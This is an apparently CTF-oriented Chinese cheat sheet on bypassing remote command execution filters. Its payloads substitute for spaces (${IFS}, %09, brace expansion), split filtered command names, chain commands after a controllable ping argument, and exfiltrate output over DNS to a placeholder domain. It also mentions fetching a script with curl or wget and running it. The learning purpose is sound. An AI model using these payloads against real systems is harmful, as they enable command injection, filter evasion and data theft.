RCE Bypass 远程命令执行绕过技巧

最近在几个ctf比赛中遇到好几次远程命令执行绕过的题,网上资料比较零散,做一下整理。

Bypass

ctf中RCE的绕过主要是靠linux中bash命令的一些特性和用法,下面从几种不同的过滤情况说明.

过滤了空格

过滤空格的情况可以通过利用重定向符、IFS、其他字符代替、{,}等方法进行绕过

1
2
3
4
cat<>test.txt //重定向符
cat${IFS}text.txt //IFS
cat%09test.txt //其他字符代替
{cat,test.txt} //{,}

实际情况可能会比较复杂,比如过滤了空格和花括号,那样逗号和IFS的方法就不可行。或者过滤了逗号和重定向符,就利用IFS和%09。灵活运用。

过滤命令或特殊字符

如果过滤了某个命令,可以利用命令拼接、插入空字符串或者反单引号来绕过

1
2
3
4
5
6
7
8
//假设过滤了ls
a=l;b=s;$a$b //拼接
l''s //插入空字符串
l""s //也是插入空字符串
l``s //反单引号

这个也有很多灵活的变种,比如第一种拼接方法,如果过滤了分号,可以利用%0a及类似的字符来代替分号。

a=l%0ab=s%0a$a$b

有时候会遇到过滤文件名内容的,可以通过正则来绕过。比如flag在flag.php中但是句点被过滤了,可以构造
cat fla*
这种形式来绕过。

需要多条命令执行

常见于命令执行的可控位置在某个命令之后,比如ping x.x.x.x这个x.x.x.x可控。我们可以通过使用管道、逻辑运算符、分号以及刚才提过的%0a编码的回车来绕过

1
2
3
4
5
ping x.x.x.x|ls //管道
ping x.x.x.x;ls //分号
ping x.x.x.x&&ls //第一个命令执行返回值正常,第二个命令才执行
ping x.x.x.x||ls //如果第一个命令执行返回值正常,第二个命令就不执行了

限制回显

回显中有限制

某些特殊字符在输出的时候检测到了就会不回显,比如换行符。这种情况可以通过base64或者16进制等编码绕过。
ls|base64

无回显

无回显可以通过curl、ping、wget等命令与Cloudeye、eye.io等结合或者发起dns查询或者http请求来获取内容。
比如

1
ping `ls|base64`.xxxx.com

直接下载执行

有时候过滤了某些字符,但是可以直接curl或者wget到脚本执行。
这种如果过滤了句点可以尝试将ip转换成十六进制格式,但是需要放行http://